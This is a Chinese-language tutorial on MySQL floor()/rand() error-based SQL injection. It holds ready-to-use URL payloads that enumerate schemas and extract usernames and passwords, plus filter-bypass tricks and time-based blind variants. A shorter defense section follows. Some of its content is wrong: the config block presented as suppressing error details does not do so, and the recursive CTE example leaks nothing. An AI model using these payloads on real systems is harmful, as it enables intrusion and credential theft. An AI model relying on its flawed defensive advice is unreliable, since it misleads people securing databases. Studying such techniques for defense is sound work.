MySQL Floor报错注入原理与实战防御

1. 深入理解Floor报错注入的核心机制

报错注入作为SQL注入技术中的重要分支，其本质是通过精心构造的SQL语句触发数据库报错，从而在错误信息中获取敏感数据。在众多报错注入方法中，floor报错注入因其稳定性和可预测性成为渗透测试人员的利器。

1.1 关键函数解析

1.1.1 rand()函数的双重特性

rand()函数在MySQL中用于生成0到1之间的随机小数，但当给定固定种子参数时（如rand(0)），它会生成一个伪随机序列。这个特性在floor报错注入中至关重要：

sql复制-- 普通随机模式（每次执行结果不同）
select rand();  

-- 固定种子模式（每次执行序列相同）
select rand(0); 

在实际测试中，rand(0)产生的序列前几位通常是：0.15522042769493574、0.620881741513388、0.638763455376777... 当乘以2并用floor取整后，会形成特定的0/1交替模式。

1.1.2 floor()函数的取整机制

floor()函数执行向下取整操作，这是产生确定性序列的关键：

sql复制select floor(1.9);  -- 结果为1
select floor(-1.9); -- 结果为-2

当与rand(0)*2结合使用时，会生成可预测的二进制序列。例如rand(0)*2的序列前几位取整后为：0,1,1,0,1...

1.1.3 concat_ws()的数据拼接

concat_ws()函数用第一个参数作为分隔符连接后续参数，相比普通concat更安全（自动处理NULL值）：

sql复制-- 基本用法
select concat_ws('-','a','b','c');  -- 输出'a-b-c'

-- 注入中常用形式
select concat_ws('-',(select database()),floor(rand(0)*2));

1.2 报错产生的深层原理

报错的核心在于MySQL处理GROUP BY时的特殊机制：

1. 临时表创建：MySQL会创建带有UNIQUE约束的临时表存储分组结果
2. 多次求值问题：rand()在分组过程中可能被多次调用
3. 键值冲突：当同一行的rand()在不同阶段产生不同结果时，会导致唯一键冲突

具体执行流程示例（假设表有3行数据）：

1. 第一行计算：concat_ws('-',db_name,floor(rand(0)*2)) → 'mydb-0'

   • 临时表插入('mydb-0',1)

2. 第二行计算：→ 'mydb-1'

   • 插入('mydb-1',1)

3. 第三行计算：

   • 阶段1（分组判断）：rand(0)返回0.155→'mydb-0'
   • 阶段2（实际插入）：rand(0)返回0.620→'mydb-1'
   • 尝试插入('mydb-0',1)但键已存在 → 报错

关键点：使用rand(0)而非rand()是为了确保序列可重现，这是稳定触发报错的前提条件。

2. 完整实战操作指南

2.1 环境准备与基础探测

在进行注入前，需要确认目标存在注入漏洞。典型测试步骤：

1. 判断注入点类型：

   sql复制?id=1' and 1=1--+  //正常显示
   ?id=1' and 1=2--+  //无结果显示
   

2. 确定字段数（使用order by）：

   sql复制?id=1' order by 3--+  //逐步增加直到报错
   

3. 确认显示位（union select）：

   sql复制?id=-1' union select 1,2,3--+
   

2.2 分阶段注入操作

2.2.1 获取数据库信息

sql复制?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as x from information_schema.tables group by x--+

注意事项：

• 使用information_schema.tables确保足够数据量触发报错
• 负号id（-1）确保原查询不返回结果
• as x和group by x必须匹配

2.2.2 枚举数据表

sql复制?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as x from information_schema.tables group by x--+

常见问题处理：

• 如果返回结果被截断，可改用：

  sql复制select table_name from information_schema.tables where table_schema=database() limit 0,1
  

2.2.3 获取字段名

sql复制?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),floor(rand(0)*2)) as x from information_schema.tables group by x--+

2.2.4 提取数据记录

对于大字段数据，必须使用分页查询：

sql复制-- 获取第一条记录
?id=-1' union select 1,count(*),concat_ws('-',(select concat(username,':',password) from users limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x--+

-- 获取后续记录（递增limit参数）
limit 1,1
limit 2,1

2.3 高级技巧与优化

1. 处理数据截断：

   • 使用substring函数分段获取：

     sql复制select substring((select password from users limit 0,1),1,10)
     

   • 结合hex编码避免特殊字符问题

2. 绕过过滤：

   • 大小写变种：Rand()代替rand()
   • 注释变种：--+可替换为#或%23
   • 函数替换：如使用round()代替floor()

3. 性能优化：

   • 优先查询information_schema.columns减少查询次数
   • 缓存常用表名避免重复查询

3. 防御方案与检测方法

3.1 安全防护措施

1. 代码层防护：

   • 使用参数化查询（PreparedStatement）
   • 实施最小权限原则（数据库账户只赋予必要权限）
   • 输入验证白名单机制

2. 数据库配置：

   sql复制-- 禁用错误详情泄露
   [mysqld]
   secure-file-priv = NULL
   log_error_verbosity = 1
   

3. WAF规则：

   • 检测包含floor()+rand()+group by的组合
   • 监控information_schema的频繁访问

3.2 攻击检测指标

管理员可通过以下特征识别floor报错注入尝试：

1. SQL日志特征：

   • 频繁出现concat_ws与floor的组合
   • 异常的group by子句结构

2. 错误模式识别：

   • "Duplicate entry"错误伴随数据查询
   • 错误信息中包含数据库结构信息

3. 流量分析：

   • 同一会话中多次尝试rand(0)*2变种
   • URL参数包含非常规的特殊字符组合

4. 深度技术解析与变种

4.1 其他报错注入技术对比

4.2 现代环境下的演变

1. JSON报错注入：

   sql复制select json_overlaps(cast(concat('[',(select database()),']') as json),'[]');
   

2. 几何函数报错：

   sql复制select st_pointfromtext(concat('point(',(select database()),' 1)'));
   

3. CTE递归报错：

   sql复制with recursive cte as (select 1 union select * from cte) select * from cte;
   

5. 实战经验与排错指南

5.1 常见问题解决

问题1：注入语句未触发报错

• 检查rand(0)是否被过滤
• 尝试增加from子句的数据量（如information_schema.columns）
• 验证group by字段是否与别名匹配

问题2：返回信息被截断

• 改用limit分页查询
• 使用substring分段获取
• 尝试调整concat_ws的分隔符

问题3：特殊字符显示异常

• 使用hex编码：

  sql复制select hex(cast(user() as char))
  

• 转换base64：

  sql复制select to_base64(cast(user() as char))
  

5.2 性能优化技巧

1. 缓存利用：

   sql复制-- 首次查询存储表名
   set @tbl=(select table_name from information_schema.tables where table_schema=database() limit 0,1);
   
   -- 后续查询直接引用变量
   select column_name from information_schema.columns where table_name=@tbl;
   

2. 并行探测：

   sql复制-- 使用条件判断加速探测
   select if(substring(user(),1,1)='r',sleep(2),1)
   

3. 二进制搜索：

   sql复制-- 快速定位字符串长度
   select if(length(database())>10,sleep(1),1)
   

在实际渗透测试中，floor报错注入的成功率约为70-80%，相比布尔盲注效率更高，但相比时间盲注更易被WAF检测。建议根据目标环境灵活组合多种技术手段。